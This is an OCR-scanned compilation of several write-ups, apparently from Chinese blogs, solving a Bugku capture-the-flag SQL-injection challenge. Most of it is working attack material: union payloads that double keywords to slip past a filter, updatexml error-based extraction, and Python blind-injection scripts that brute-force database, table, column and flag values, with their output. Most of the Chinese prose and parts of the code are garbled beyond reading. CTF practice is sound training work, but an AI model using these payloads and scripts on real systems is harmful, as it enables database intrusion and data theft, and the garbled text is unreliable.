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¥#.H: https://blog.csdn.net/mylyylmy/article/details/80030256

HARRNTAW — TR AEALR

' | @ 120.24.86.145:9004/1ndex php?id=1%27 % ® 0

EBRMARRICCTR, FHASHEEN%2T, Wi, WHARTREAN
KR BRATHLE I — T SQLM T I8 T A2 P, FATTAT CAE A 57 B N SR A W7 R L7 1 e g i 98 1 17

http://120.24.86.145:9004/1ndex.php?id=1%27~(0)%23

There is nothing.

EEHBT, BRIERMA


https://blog.csdn.net/xuchen16
https://blog.csdn.net/xuchen16/category_7766411.html
https://so.csdn.net/so/search/s.do?q=bugku&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E5%25BC%2582%25E6%2588%2596%25E6%25B3%25A8%25E5%2585%25A5&t=blog&o=vip&s=&l=&f=&viparticle=
https://blog.csdn.net/xuchen16/category_7766411.html
https://blog.csdn.net/mylyylmy/article/details/80030256

http://120.24.86.145:9004/1ndex.php?id=1%27"(1)%23

) 120.24.86.145:9004/ Index.php?id=1%27*(1)%23

IR, KRR Nid)ETH K AR &S BEMYE RN AT R, R RER BN R G IdR A 0%E &
WAZMRHER, PEER, UBRESERIANFNIRNENSEER, MRS IERIET, TATATEL
A XA BAT HIBTR L P AP JE 3 T, A

http://120.24.86.145:9004/1ndex.php?id=1%27"(length(%27union%27)%3E0)%23

& & I® 120.24.86.145:9004/ 1ndex.php?id=1%27 * (length(%27union%27) >0)%23) w8

There is nothing.

%3ER>E, WHERIEH, Xt iilength(union')>0XMEA) AR, WL RunionC 2T iR T .
T A BRI ERATAT AR BT T S8R 745 select union or and T limitAfromi A # i I8
BAIIESQLIENIEH]

http://120.24.86.145:9004/1ndex.php?id=-1%27uniunionon%20@selselectect%201,2%23



[6]120.24.86.145:9004/1ndex.php?id=-1%27uniunionon%20selselectect?%201,2%23
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FHT—AEE, MEAE2NME L, RNASLERKIEEL MRS

http://120.24.86.145:9004/1ndex.php?id=-

1%27uniunionon%20selselectect%$201, database () %23

http://120.24.86.145:9004/1ndex.php?id=-1%27uniunionon%20selselectect%201,

(selecselectt%20table name%20from%20infoorrmation schema.tables%20where%20tal
S —— k

http://120.24.86.145:9004/1ndex.php?id=-1%27uniunionon%20selselectect%201,

(selecselectt%20column name%20from%20infoorrmation schema.columns%20where%201

e —] D

http://120.24.86.145:9004/1ndex.php?id=-1%27uniunionon%20selselectect%201,

(selecselectt%20column name%20from%20infoorrmation schema.columns$20where%201
1

e hhhhhhhbhbh v ¥

2 2505 FE 4 - web1002-1, F 4 Aflag1, B W%, flagl, address
#ifjflag1B8 8 —AMflag  usOwycTju+FTUUzXosjr

B0 B 32 H P MlaghT LAZE & #) — T address
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./Once More.php

R F—x



1120.24.86.145:9004/Once IV

My Id =1
Hello,| Am Here!

KRRE—ANSQUEAKEH, XEILBKHE, MKFEER2BOK, JRATEN B R

1 120.24.86.145:9004/0Once_More.php?id=1%27 B0 9 DL

LoL,YOU Find ME!
BUT,
I wanT TEIl You,

| Have Best Waf Protect Me Now!

Find Me!

My Id =1
/ Nobody!
Yp.’(_u have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "1™ at line 1

FAESQLIEN, FHHBATATUUNE B hEFWEHEIEE T, EREH RTINS RIEFT,



120.24.86.145:90

LoL,YOU Find ME!
BUT,
| wanT TEll You,

I Have Best Waf Protect Me Now!

Find Me!

My Id =1#
Hello,| Am Here!

EA\union® A R MU 2SI IERE T, BA N Eunion

D 120.24.86.145:9

LoL,YOU Find ME!
BUT,
| wanT TEll You,
I Have Best Waf Protect Me Now!

Find Me!

AW R My Id =1 1,2#
A 1
T S—— ' Nobody!

i You have an error in -your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1,2#" at line 1
TS N @ %

KIselectth Tk T,

® 120.24.86.14

BUT,
| wanT TEIl You,
| Have Best Waf Protect Me Now!

Find Me!

RIMTIEEE, R e A AT

http://120.24.86.145:9004/0nce_More.php?id=-1%27union%20@select%20sleep%200r%20and%20if%201imit%23




My Id =-1' select or and if limit#

Nobody!

KsleeptB it g 1,2 Ja Rk Bsubstrib i I3 T, Fr LA Hlocate i ik BIX A I RCR

http://120.24.86.145:9004/0nce_More.php?id=1"'and (select locate(binary'{", (select user()),2))=2%23

BRI
def flag2():
flag =""
for j in xrange(l, 100):

temp = '!@$%"&* () +=-]}{POIU YTREWQASDFGHJKL:?>

<MNBVCXZgwertyuiop[];lkjhgfdsazxcvbnm, ./1234567890 ~'

Il
o

key
for i in temp:

url = "http://120.24.86.145:9004/0Once More.php?id=1'and (select
locate (binary'"+str (i)+""', (select flag2 from
flag?2),"+str (J)+"))="+str(j)+"%23"

rl = rs.get(url)

# print url

if "Hello" in rl.text:

print str(i)+" ----- "+str(j)
flag += str (i)

print "[*] : "+flag

key =1

if key ==

break

HoAth iy i database FliX /N R 248k




¥4, B :https://blog.csdn.net/qq_26090065/article/details/82708691
BHERAREEARELR, Eurthibi~? id=1 ] RFELEEN

) F= |1120.24.86.145:9004/ 1ndexphplid=1

id=1)5 N5 SR, FEN-+ERREIER, #EFESQLEN
?id=1'or 1=1--+ WiR4s, FREIETIE

ZRME T, ?id=1"0orr 1=1--+ &[5 IE %

TR e s 00 AR A A B A B T R ? BT BEGET !

FRBEATHE—T, AAFAHER (AERRKR BAK

http://120.24.86.145:9004/1ndex.php?id=1"~(length('union')!=0)--+

B SRR [B] T B8 IE %, ABHLE Blength(‘union’)==0, tH&t£ uniontkidi T
[ B0 A 4 B ) AT BB . and, or, union, select

HRFH X Kseid, payloadin F:

BEWE EE: information B 1 t44 or)

http://120.24.86.145:9004/1ndex.php?id=-1"' ununionion seselectlect 1,group_concat(table_name) from infoorrm

flagl,hint

BB

http://120.24.86.145:9004/1ndex.php?id=-1"' ununionion seselectlect 1, group_concat(column_name) from infoor

flagl,address

B

http://120.24.86.145:9004/1ndex.php?id=-1" ununionion seselectlect 1, group_concat(flagl) from flagl--+


https://blog.csdn.net/qq_26090065/article/details/82708691

R flagB iR, HBAFE, Baddress, BH T —<Hut

—XHbir

BN —ANSQLIEAN

LoL,YOU Find ME!

BUT,
I wanT TEIl You,

f Have Best Waf Protect Me Now!

Find Me!

My Id =1
Hello,I Am Here!

KNEGidpass, WE ST pass
X B A A updatexml() & Bk EN



B 5 T ## T updatexmi() e %

UPDATEXML (XML_document, XPath_string, new_value);

HF—12%: XML_document2String#%, AXMLICRST R &FR, X+ ADoc

£ _AS%: XPath_string (Xpatht R F/F8) , WRA T #Xpathifik, 7IEM EERHFE.
FE=A2H: new_value, Stringt&=, BHERINMNRTE KL

fER . BORSCRP AT & A R IR

2 XML_documentH &F & XPATH_stringff i

T BRATRENIE A A:

updatexml(1,concat(0x7e, (SELECT @@version),0x7e),1)

H ) concat() BB R K HER —NFRFH, FHEASFFEXPATH stringfi% X, M B4 AR, B

ERROR 1105 (HY@@O): XPATH syntax error: ':root@localhost'’

payload @

+ BEHRER

http://120.24.86.145:9004/0Once More.php?id=1' and updatexml (l,concat('~",

(select group concat (table name) from information schema.tables where

table schema=database()),'~"),3) %23
3.
4
¥ BER
?id=1"' and updatexml (1,concat('~"', (select group concat (column name) from
information schema.columns where table schema=database () and
table name='flag2'),'~"'),3) %23
7.
8
+ BHUE
?7id=1"'" and updatexml (1,concat('~"', (select flag2 from flag2),'~"'),3) %23

11.
12.



e flag

KA FRBEN .
fEid=1/5H#A '(0)
RIS, IR 0B 1=1
IR e, AR T

BENBERR

WA ?id=1"
i8]

My Id =1'
Nobody!
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for th

I R —FE B A T v

union substr sleep

WEREGE, KAETESRD, /! ~/Bikseid.
EHEE, FFupdatexmlifis .

payload

# BER
http://120.24.86.145:9004/0nce_More.php?id=1' and updatexml(1l,concat('~"',(select group_concat(table_name) f
# &R
Nobody!
XPATH syntax error:

'~class,flag2~"'

# BFR

?id=1' and updatexml(1,concat('~",(select group_concat(column_name) from information_schema.columns where t
# R

Nobody!

XPATH syntax error: '~flag2,address~'

# BHIE

?id=1' and updatexml(1,concat('~"',(select flag2 from flag2),'~"'),3) %23
# &R

Nobody!

XPATH syntax error: '~flag{Bugku-sql_6s-2i-4t-bug}~’

KEEWR AT LA R EERM, EERAREMARKTRRE, FOAMSEESRIETE, M7 —T, XREM A

import requests



def length_schema():
for x in range(1,20):
url = "http://120.24.86.145:9004/0nce_More.php?id=1%27and%20length(database())="+str(x)+"'%23"
s = requests.get(url)
if "Hello" in s.text:
print ‘schema_length is :

+ str(x)
global a

a = int(x)

break

def schema_name():
X = 0
name = "'
while x < a:
X =Xx+1
temp = 'abcdefghijklmnopgrstuvwxyz@0123456789!@$%"&* () _+=-|}{:?><[];,. ~"
for i in temp:
url = "http://120.24.86.145:9004/0nce_More.php?id=1%27and%20mid(database(), '+ str(x) +',1)=%27"
s = requests.get(url)
if "Hello" in s.text:

name = name + str(i)

print 'sechma_name is :' + name
global schema_name
schema_name = name

def all():
temp = 'abcdefghijklmnopqrstuvwxyz@123456789!@$%"&* () _+=-|}{:?><[];,. ~'
temp_data = 'abcdefghijklmnopgrstuvwxyz0123456789!@$% &* () +=-|}{:?><[];,. ~ABCDEFGHIJKLMNOPQRSTUVWXYZ'
for x in xrange(0,20):
table_name = ''
for y in xrange(1,20):
key = @
for i in temp:
url = "http://120.24.86.145:9004/0nce_More.php?id=1%27and%20ascii(mid((select%20table_name%
s = requests.get(url)
if "Hello" in s.text:

key = 1
table_name = table_name + str(i)
if key == 0:
break

if table_name ==
break
print 'one of tables is:' + table_name
for p in xrange(0,20):
column_name = "'
for g in xrange(1,20):
key = @
for i in temp:
url_columns = 'http://120.24.86.145:9004/0nce_More.php?id=1%27and%20ascii(mid((select%2
s = requests.get(url_columns)

if "Hello" in s.text:

key = 1
column_name = column_name + str(i)
if key ==0:
break

if column_name ==
break
print 'a column name of '+table_name+' is '+column_name



for y in xrange(0,10):
data = "'
for z in xrange(1,20):
key = ©
for i in temp_data:
url _data = 'http://120.24.86.145:9004/0nce_More.php?id=1%27and%20ascii(mid((select%
s = requests.get(url_data)
if "Hello" in s.text:
data = data + str(i)

key = 1
if key == 0:
break
if data == '':
break

print 'one data of '+schema_name+'.'+table name+'\'s '+column_name+' is '+data

def main():
length_schema()
schema_name()
all()

if __name__ == '_main__':

main()

R

schema_length is :9

sechma_name is :web1002-2

one of tables is:class

a column name of class is id

one data of webl1002-2.class's id is
one data of webl1002-2.class's id is
one data of webl1002-2.class's id is
one data of webl1002-2.class's id is
one data of webl1002-2.class's id is
one data of webl1002-2.class's id is

N oo vl A wWwN R

one data of web1002-2.class's id is
a column name of class is name

one data of webl1@02-2.class's name is TOM

one data of web1@02-2.class's name is Jack

one data of web1@02-2.class's name is Mack

one data of web1002-2.class's name is Jones

one data of web1002-2.class's name is James

one data of web1@02-2.class's name is Fox

one data of web1@02-2.class's name is Henry

one of tables is:flag2

a column name of flag2 is flag2

one data of webl1002-2.flag2's flag2 is flag{Bugku-sql 6s-2
a column name of flag2 is address

one data of web1002-2.flag2's address is .

[Finished in 1620.8s]
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BENBERR

REER—ANFEN, WAL T, mLpss
HBLIREE, ERRE KR, KR E%2IENE T
R 5 A I Atk

1=2tH 44

1=11E%

Order by 2t IE %
— D ER S IR

‘ union select 1,2%23
HI T e, EunionidIE T
F 2 B W5 i858

‘ uniunionon select 1,2%23

KRI{Eselectt izl T

BHAR—TEEEH RLERBPLIE T
EEEIdEER AR CLAE, F 95 B8 RA A K EE

id=1 union select limit from and or where if sleep substr ascii
KB union sleep substriffid i T
kR ARRERE S, substrtb NEER T

RIXBEH T —MAHE A % $locate()
HEAWE MR HE BHA LT, REE eI HF

def user():
flag =“°¢
for j in xrange(1, 100):
temp = “!1@$%~&*()_+=-|}{POIU YTREWQASDFGHIKL :?><MNBVCXZqwertyuiop[];1lkjhgfdsazxcvbnm,./1234567890  ~
key = ©
for i in temp:
url = "http://120.24.86.145:9004/0nce_More.php?id=1¢and (select locate(binary‘"+str(i)+"¢, (sele
rl = rs.get(url)
# print url
if "Hello" in ril.text:
print str(i)+" ----- "+str(j)
flag += str(i)
key = 1
if key ==0:
print "[*] : " + flag
break

TEABAERKGItHUb R IA

GitHub



https://github.com/niechaojun/Bugku_Web_Duoci

BATHBAEFATUANFRMT, HHURL: http://120.24.86.145:9004/1ndex.php?id=1

KHEMKSQLENT, REHIAEMEILIR, SEIMEE XESFHRERN, k% 2id=508 &5 F &
11"You can do some SQL injection in here."

SR JE T 6 B b N U K
1. mbE—A835
http://120.24.86.145:9004/1ndex.php?id=1"'
—IRE(ER, —EERIECHRG SH! )
2. nE—AH5] 5 %23
http://120.24.86.145:9004/1ndex.php?id=1'%23

AR

3. Mnk—A~#5| S Hand 1=11%23

http://120.24.86.145:9004/1ndex.php?id=1"' and 1=1%23

—NIREE T
R BERSET A4, BRNAMELEN R 2, FrUEHRRER.
FEEM:

1. MAFEId=1EHMm E"Xstr)N  strZ2 BEATE XL

2. JRHEI -

id=1TAK, MREFH—ME, BHEER, BAREERIER; RZ, WRERE—NH, Bt
Bl Bz, XA T AN IEH

Fril, WRWHEIEEESMaLNRERMRN—UHEIEY, a<NREN; REALER, @<
AAE

3. TIALL:
a.?id=1"5 0 UH IR
b.2id=1N1=1"  REARIE#
INER: MAURLKIN RS S —EZRICH ! | L MOEAERIS!
4. MH:
WRBAEFE S BN ERE  length(‘union’)!=0
WHERE ER, HAstrptRZEE, e union XA E5/F 5 KKE N0, AL EET
B2, MBARMIER, BAZFHERPEEERET, WRGHE, BREETEE.
SEFENNZ 5 RI: union,select,and,orff i I T 5 limit,from¥ A i 384
BAVB R T E—AMlagf—ANHehk: ./Once_More.php
XR&—ASQLIEN,



GRS R LF L

id=1" £S5

id=1"%23 AR
id=1"and 1=1%23 AR
id=1"and 1=2%23 E85:

id=1" and 1=2 union select 1,2%23 BIEE AR R, RIWESERE

< Find Me!

My 1d =1"and
i \[e] oJoTe )
e manual that corresponds to your MySQL server version f
‘select 1,2#" at line 1

BRESERmL, BBRMEFENEMINFFEmtEE, BRESEAM
id=1 union select limit from and or where if sleep substr ascii

& Blunion sleep substr&f AR T

FRTHEEERAST, RBEEERERT:

AR R—AREE 2, substrttANEERH T

BIX B T —MAH I $locate()
EHEFIWT A HOR SR R A BLEFRF, REReiZBFHr

def user() :
1 flag =""
2 for j in xrange(1l, 100):
3 temp = "!1@$%"&* () +=—|}{POIU YTREWQASDFGHJIKL:?>
4 <MNBVCXZgwertyuiop[]; lkjhgfdsazxcvbnm, . /1234567890 "~
5 key =0
6 fori in temp:
7 url ="http://120.24.86.145:9004/Once More.php?id=1'and (select locate (binary'"+str(i)+"',
8 (select user()),"+str(j)+"))="+str (j)+"%23"
9 rl =rs.get (url)
10 # print url
11 if "Hello" inrl.text:
12 print str(i)+" —-———- "+str(j)
13 flag +=str (i)
14 key =1
15 if key ==0:
16 print "[*] : "+ flag

break



L2331

H: http://www.northity.com/2018/06/12/Bugku%E9%A2%98%E7 %9B%AE %EQ%9B%86%E9%94%A60x02/
f&I£41]

E3ID, %fuzz—TF

— NG SR, %23MEEIER
FREEANERHATIEIREN, AHMER, —MEEEAS, —FMERNESS, S

1d=1%27~(0)%23 id=1%27(0) %27

LIESFRENER THSHEE, WA P RiE A
BV, 4 ) Brunion 2 75 4 3 g

id=1%27~(length(%27union%27))%23

IR B ) R id=1/ A, AR length(‘union’)iR [EI{E 40, unionB&#id3E T, selectti T T
RETTUNESRDE, AREENE, flagHAxt, HIEETHE W AMMag, X8 T H
BT — M Payload

http://120.24.86.145:9004/1ndex.php?id=-1%27 ununionion seselectlect 1,address from flagl%23

JeEFAHA L
Al DA E— AN RVE N AR, ta] LAIREEEAN
booliE A

WE— N RERRAVEE, FPERRERERK, —SER

import requests head = 'http://120.24.86.145:9004/0Once_More.php?id="' payload = '' index = '' s = "'
for n in range(200): left = 32 right = 127 while left<=right: i = (left+right)//2 payload = 'a\' or
(ASCII(MID((SELECT flag2 FROM flag2), ' + str(n) + ', 1))) < ' + str(i) + ' %23' index = head +
payload r = requests.get(index) r.encoding = 'utf-8' if r.text.find('Hello')!=-1:#/hFiR[E1 right = i-
1 else: payload = 'a\' or (ASCII(MID((SELECT flag2 FROM flag2), ' + str(n) + ', 1))) > ' + str(i) + '
%23' index = head +payload r = requests.get(index) r.encoding = 'utf-8' if r.text.find('Hello') != -
1: # KFiREL left = i+l else: ##% s=s+chr(i) print(s) break


http://www.northity.com/2018/06/12/Bugku%25E9%25A2%2598%25E7%259B%25AE%25E9%259B%2586%25E9%2594%25A60x02/
http://120.24.86.145:9004/1ndex.php?id=1
http://120.24.86.145:9004/Once_More.php?id=1

address¥BE —4./Have_Fun.php, I EE
CHBRREEE RN

EHFLREN, B EB5

http://120.24.86.145:9004/ErWeiMa.php?game=1

EREANTEREESER. . BEEZITERKflag{Bugku-sql_6s-2i-4t-bugy e H /NG G IR X IEM T
JE B B i 2 LEF T, MID,RIGHT 7E b 85 FR B i = A X 4 K /N5 1)
ERARBEHENEXNFEEANEE, RR BFE _ MagRELZXMEAR? A XA PHAIR

¥#H: hitps://blog.csdn.net/u011377996/article/details/79340100

XA H s — TS

oAt % 2 )5 ek —I%

FIRHIA 2id=1" WHREHER(ERRRERER), B 2id=1" 223 WEAMBEFB NP Z R BTG SHE, k58
iR 21d=1" and 1=1%23MXFFHEMET,

X B2 H — R HEAN T RREEAN

id/EHMA 17~ (0)~, W REIEFRE, WRERE—T » (1), WHUSRERR, BAETREITHA
iR — PRI R =i T BLeck . thin 17~ (length (‘select’)=6) "’

MIRIX N select MiZRAPTIEK T, LIKIBAIMNZRid=1" 020G IR EIERH, TN EKRERSR
[ 4 R

WRAF 2 DL R R 4T v

select,union,or,and

Bl Hseselect lect XKL IE, EAWAE, HERIAKIEHR
1’ ~(length (‘seselectlect’)=6) " XHIRE TR, WHSIHRIT

THE SR F R

?id=1' oorrder by 3%23 # BFEH
?id=-1"' ununionion seleselectct 1,database() %23

¥ Einformation ) 825

?id=-1"' ununionion seselectlect 1,group_concat(table_name) from infoorrmation_schema.tables where table_sch

?id=-1"' ununionion seleselectct 1,group_concat(address) from flagl%23

B8 2T — AN DU B ik

FE—RER, RAXNTEEAMREEN, ZRERKHunionREFHITIE, — Hunionfd iERAT R se k4
EARTTE, —BPRT


http://120.24.86.145:9004/ErWeiMa.php?game=1
https://blog.csdn.net/u011377996/article/details/79340100

?id=1' and updatexml(1,concat(®x7e, (select group_concat(table_name) from information_schema.tables where ta
?id=1"' and updatexml(1,concat(©x7e, (select group_concat(column_name) from information_schema.columns where
?id=1"' and updatexml(1,concat(©x7e, (select flag2 from flag2),0x7e),1)%23

B3flag, EEIRAZ aghitk REEEENE
BERRXMNEERZFREZH, —REBISRFEEANABTIEMET, Z£Euniongid BN TEHES
EEENR T R

¥4.H: https://blog.csdn.net/xiaorouiji/article/details/81988296
BREEE, ReEE, BETREBA

XL Zflaghl........

BHAREAREZKEN, SE0T

HEE
?id=-1%27ununionion seselectlect 1,database()%23

m & web1002-1

B

?id=-1%27ununionion seselectlect 1, (seselectlect table name from

infoorrmation schema.tables where table schema="webl002-1" limit 0,1)%23

BEflagl

?id=-1%27ununionion seselectlect 1, (seselectlect table name from

infoorrmation schema.tables where table schema="webl002-1" limit 1,1)%23
FlZhint

11.
flagl B

?id=-1%27ununionion seselectlect 1, (seselectlect column name from

infoorrmation schema.columns where table name="flagl" limit 0,1) %23
BlEflagl

15.

?1d=-1%27ununionion seselectlect 1, (seselectlect column name from

infoorrmation schema.columns where table name="flagl" limit 1,1)%23

FlfEaddress

18.


https://blog.csdn.net/xiaorouji/article/details/81988296

hintF&

?id=-1%27ununionion seselectlect 1, (seselectlect column name from

infoorrmation schema.columns where table name="hint" limit 0,1)%23
B2 id

22.

?id=-1%27ununionion seselectlect 1, (seselectlect column name from

infoorrmation schema.columns where table name="hint" limit 1,1)%23

Elf'zcontents

25,
18

flagl
?id=-1%27ununionion seselectlect 1, (seselectlect flagl from flagl) %23

Bl EusOwycTju+FTUUzXosjr

30.

?id=-1%27ununionion seselectlect 1, (seselectlect address from flagl)$%$23

[El& . /Once More.php

WG A B 5 — MR

/Once More.php

XRSqEEN, id=1"<E

?id=1'or 1%23 1E% Bl &

?id=1" order by 2%23 X 7] LA 5E B Pi 5

?id=1" and length(database())=9%23 #i & ¥ FE K B N9

T HBRATH LLE BIBATRENE A, BT AR] BLAE S 38 T A4

BHEER, REEE ZTRENE

it HUHE



19.

import requests
url = "http://120.24.86.145:9004/0Once More.php"
guess = "abcdefghijklmnopgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456 "

# guess = "w"

char = "Hello,I Am Here!"

database=""

print ("start!")

for i in range(1,10):

for j in guess:

payload = {'id':"1' and mid((select database()),%s,1)="%s'"#"%(i,]J)}
res = requests.get (url=url,params=payload) .text
# print (res)

if char in res:

database += j

print (database)

break

print ("end!")

#BIER

import requests

url = "http://120.24.86.145:9004/0Once More.php"

guess = "abcdefghijklmnopgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456 "
# guess = "w"

char = "Hello,I Am Here!"

print ("start!")

for i in range(1,10):
print (i)

table = ""

for 7 in range(1,20):

for k in guess:



40.

42.

payload = {'id':"1' and mid((select table name from

information schema.tables where table schema=database() limit
$s,1),%s,1)="%s"#"%(1,3,%k)}
res = requests.get (url=url,params=payload) .text

# print (res)

if char in res:

table += k

print ("the %s table %s
break

print ("end!")

+FB

import requests

url = "http://120.24.86.145:9004/0Once More.php"

guess = "abcdefghijklmnopgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456 "
# guess = "w"

char = "Hello,I Am Here!"

print ("start!")

for i in range(1,10):
print (i)
column = ""

for 3 in range (1,20):

for k in guess:

payload = {'id':"1' and mid((select column name from
information schema.columns where table schema=database () limit

$s,1),%s,1)="%s"#"%(i,3,k)}

res = requests.get (url=url,params=payload) .text
# print (res)

if char in res:

column += k

print ("the %s column %s"%(i,column))

break



62.

print ("end!"™)

#1E
import requests
url = "http://120.24.86.145:9004/0Once_ More.php"

guess =
"abcdefghijklmnopqrStuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456_{ JR~, .t/ "\ *—+"

char = "Hello,I Am Here!"
print ("start!")

flag = ""

for i in range(1,30):

for j in guess:

# payload = {'id':"1' and mid((select flag2 from flag2 ),%s,1l)="$s'#"%(i,73)}

payload = {'id': "1' and mid((select user()),%s,1)="%s"#" % (i, J)} #XPMEK
RUPIEFR flag
res = requests.get (url=url,params=payload) .text

if char in res:
flag += 3

print (flag)
break

print (flag)

print ("end!™)
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